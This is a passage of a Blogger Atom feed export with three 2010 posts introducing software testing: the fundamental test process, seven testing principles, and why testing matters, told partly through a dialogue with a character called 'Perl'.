saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-8405922466126816726</id><published>2010-09-27T17:23:00.000+05:30</published><updated>2011-11-21T10:59:18.328+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Fundamental of Testing"/><title type='text'>Fundamental of Testing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h3 class=&quot;UIIntentionalStory_Message&quot; data-ft=&quot;{&amp;quot;type&amp;quot;:&amp;quot;msg&amp;quot;}&quot;&gt;&lt;span class=&quot;UIStory_Message&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;Software testing is not bug finding. it is not for attacking the developers. it never depends over various techniques. it is&lt;br /&gt;
very graceful manner to make confidence in software by hammering hard&lt;br /&gt;
to program for the assessment of the program. to achieve this! testers go&lt;br /&gt;
for find out the bug , so that developer can fix them.&lt;span class=&quot;text_exposed_hide&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Testing has many visible aspects to perform. fundamental process of Testing can be describe as:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3 class=&quot;UIIntentionalStory_Message&quot; data-ft=&quot;{&amp;quot;type&amp;quot;:&amp;quot;msg&amp;quot;}&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;color: #660000;&quot;&gt;1. Test Planning and Control&lt;br /&gt;
2. Test analysis and Design&lt;br /&gt;
3. Test implementation and Execution&lt;br /&gt;
4. Evaluating exit criteria and Reporting&lt;br /&gt;
5. Test closure activities&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkNa-jKhL-zzMuD59zJBwY8kZUR-ytWHKkOoSAJsrcNWgr81FfJd49LjM8bJz2Kime1shkLbgxP9VrwJruZ4OgPmVmB014ZyY3I8LaB4szdw2gVYe4pJznsQy-rmAJy7xooP8uIwvHJU/s1600/PERL.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkNa-jKhL-zzMuD59zJBwY8kZUR-ytWHKkOoSAJsrcNWgr81FfJd49LjM8bJz2Kime1shkLbgxP9VrwJruZ4OgPmVmB014ZyY3I8LaB4szdw2gVYe4pJznsQy-rmAJy7xooP8uIwvHJU/s320/PERL.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;Test planing:&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;writer: Dear Perl !when ever I say you to dig a Pit, you can not start digging immediately. what you will do for this?&lt;/span&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;span style=&quot;color: red;&quot;&gt;Perl: I will first ask ,where i have to make a Pit? what should be size of Pit? Depending on that i will decide for the tool and other resource that make me able to dig a Pit.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Test Planing is used&amp;nbsp; decides a ways to achieve the objective also define the objectives. it also decides what should be perform for achieving the objective.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Control is process of monitoring that we are performing right and in given time of period very well.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;*&lt;/span&gt;control is continuous process that interact each process for their success.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Test planing&amp;nbsp; also determine the techniques , no of people involved in team their responsibilities, Testing environment and budget for testing.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;Test analysis and design:&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Test analysis and design phase is that where objective takes actual shape as Test cases and conditions.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Requirements and system architecture is reviewed for better aspects, than data for Testing and conditions are specified over that requirements and architecture.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Test case are prioritized and also define either specific value is not defined for Test data. two type of Test cases are define positive and negative.&amp;nbsp; positive Test&amp;nbsp; are used to Test system functionality and negative are used to Test handling of errors that can be occur in system at execution.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;Test implementation and execution&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Test case are actually written here by writing procedures, creating set Test data. all information to run the Test and Test environment are setup here.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;manual or automation( if needed )Testing is performed.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;Evaluating Exit Criteria And Reporting.&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Here we check our Tests logs. logs are measured as with our Test plans , iff both are at same level than it right time for stop Testing and also Assessing if more Tests are needed or if the exit criteria specified should be changed. we produce the reports for the stake holders.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0c343d;&quot;&gt;Test Closure Activities&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;The main task is to Check which planned deliverable have been delivered, Closing incident reports or raising change records for any that remain open documenting the acceptance of the system, Finalizing and archiving Test ware, the Test environment and the Test infrastructure for later reuse&amp;nbsp;Handing over the Test-ware to the maintenance organization, Analyzing lessons learned to determine changes needed for future releases and projects&amp;nbsp;and also Using the information gathered to improve Test maturity.&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/8405922466126816726/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/fundamental-of-testing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8405922466126816726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8405922466126816726'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/fundamental-of-testing.html' title='Fundamental of Testing'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkNa-jKhL-zzMuD59zJBwY8kZUR-ytWHKkOoSAJsrcNWgr81FfJd49LjM8bJz2Kime1shkLbgxP9VrwJruZ4OgPmVmB014ZyY3I8LaB4szdw2gVYe4pJznsQy-rmAJy7xooP8uIwvHJU/s72-c/PERL.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-7253679964315691197</id><published>2010-09-12T13:06:00.000+05:30</published><updated>2016-12-19T10:02:46.968+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Testing Principles"/><title type='text'>Testing Principles</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Writer: &quot;Perl&quot;&amp;nbsp; can you explain me the&amp;nbsp; all the principle of car riding. Perl: &quot;oh! tough question. I can explain&amp;nbsp; a number of principles but not all of car riding&quot;&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Since many years testing done in every part of life. software testing is also updated by updating it&#39;s principle. either there are many principle of software testing. we will consider basic &amp;nbsp;7 principle of software testing.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;1. Testing shows presence of Defects:&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;When we test a software it indicates that there will be a defect or bug, or it may have bug. but we can never say that there is no bug in software. when ever we perform testing we work hard for finding out errors and this leads to us reduce the undiscovered defects.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;we can&amp;nbsp; never guarantee of bug free software after performing testing, but we guarantee that software will have less undiscovered bugs after performing the testing. &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #0c343d;&quot;&gt;2. Exhaustive Testing is impossible:&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;My dear friend if i ask you to know test a system completely. it really tough task and and also time consuming. we can go for complete testing of a software but it is not feasible for business and other prospective. such it can be perform for trivial cases. &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;let we are testing a calculator add function the no test cases for testing for integer values may be so many that they can not be consider or perform by any body in given time.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;so rather than performing exhaustive testing, we should perform testing on testing over the risk analysis or on priority basis.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;3. Early Testing: &lt;/b&gt;&lt;/u&gt;&lt;/span&gt;.&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Testing is right way&amp;nbsp; to find out the bugs. each bug can be fix while it is found and it really reduce the cost of bug fixing. some time for bug we have to make many changes in system because be develop the system over the previous built of the buggy system. that cause a lot of cost or time. to reduce this bug should be fix as it discovered and. late discovery of bug will causes for the same. i.e why early testing is so important. &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;4. Defect Clustering:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Defects are really hard to find when ever you find a bug there are lot of chance to find another bug in that buggy module. actually bug are generate due to a error ,that error may reflect for other code part&amp;nbsp; or functionality or else. such&amp;nbsp; more defects can be find near by a defect.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;5.Pesticide Paradox:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;we perform testing over a software and do perform the same test case either they are best, but some day they will stop producing bugs. like I have tested a pay roll system and produce 5 important bug my test case te02ba. but after long this test case will not be able to produce a bug&amp;nbsp; for payroll system. it happens because developer stop the making the same bugs in new built or the same type of built. &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;u style=&quot;color: #0c343d;&quot;&gt;&lt;b&gt;6. Testing is Context dependent:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;As we know testing can not be perform exhaustively. such it become context dependent. like for all medical system are tested in different manner in compare to general e commerce sites.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0c343d; font-size: large;&quot;&gt;&lt;u&gt;&lt;b&gt;7. Absence of Error Fallacy:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;User requirements and needs are more important rather that functioning and other measure of system. either u find any bug and fix that but if it is not meaningful until system does not meat the user need criteria.&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/7253679964315691197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/testing-principles.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7253679964315691197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/7253679964315691197'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/testing-principles.html' title='Testing Principles'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-4177675310255438554</id><published>2010-09-08T10:27:00.001+05:30</published><updated>2016-12-19T10:00:01.928+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Fundamental of Testing"/><title type='text'>WHY TESTING ?????????????</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;color: red; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Writer: “Perl”, imagine you are in a race and give control of a car to a kid from your rider.&amp;nbsp;&lt;/b&gt;&lt;span style=&quot;background-color: #f5f6f5; font-weight: 700;&quot;&gt;will&lt;/span&gt;&lt;b&gt;&amp;nbsp;you be able to win the race?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: red; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Perl:-“???&lt;/span&gt;”&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;The software is an important part of business. A minor fault of the software may have a bad effect on the organization. There are many issues that we can discuss. What happens if your health care system have the problem? What will happens when you car system produce an error in the middle of a way of your journey? Any company produces a wrong report of growth to market by the fault of a system? ????&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;All question directly emphasis over the system failure and says that system should be tested for these worse conditions. And verified that they will be able to handle this situation. To check these before actually implantation testing is necessary to be done.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Indeed in this world, nothing is perfect; I think, I never found any perfect human. So a human can make mistake and that mistake is an error. An error can lead to a system fault or bug. That bug may cause system failure. so this is a chain of that leads to system failure, and too save your system, you must know what error is being done. i.e. you need of testing for finding out an error or a bug in your system.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;The system should be tested thoroughly on the basis of requirements, business need and the standards that are defined.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Testing is the best way to measure the quality of a system. Quality can be measured by its functionality and nonfunction characteristics very keenly. By measuring these characteristics it defines the level of Quality and confidence to software for implementation.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;b&gt;Big question is that how much testing is necessary while a software will not be perfect ever. So it is straightforward we can never find a bug free software. So it necessary that system should meet all requirements and standards. After a time of testing of a system, there is enough information to stop the testing.&lt;/b&gt;&lt;b style=&quot;color: black;&quot;&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;b style=&quot;color: black;&quot;&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: #274e13;&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;color: red;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;....................................................................................................&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;[from the desk of Sir &lt;a href=&quot;mailto:%20jpan@cmu.edu&quot;&gt;&lt;/a&gt;Jiantao Pan]&lt;/b&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b style=&quot;color: black;&quot;&gt;Software testing is an art. Most of the testing methods and practices are not very different from 20 years ago. It is nowhere near maturity, although there are many tools and techniques available to use. Good testing also requires a tester&#39;s creativity, experience, and intuition, together with proper techniques.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;color: black;&quot;&gt;&lt;b&gt; Testing is more than just debugging. Testing is not only used to locate defects and correct them. It is also used in validation, verification process, and reliability measurement.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;color: black;&quot;&gt;&lt;b&gt; Testing is expensive. Automation is a good way to cut down cost and time. Testing efficiency and effectiveness is the criteria for coverage-based testing techniques.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;color: black;&quot;&gt;&lt;b&gt; Complete testing is infeasible. Complexity is the root of the problem. At some point, software testing has to be stopped and a product has to be shipped. The stopping time can be decided by the trade-off of time and budget. Or if the reliability estimate of the software product meets the requirement.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;color: black;&quot;&gt;&lt;b&gt; Testing may not be the most effective method to improve software quality. Alternative methods, such as inspection, and clean-room engineering, may be even better.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/4177675310255438554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/why-testing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4177675310255438554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4177675310255438554'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2010/09/why-testing.html' title='WHY TESTING ?????????????'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>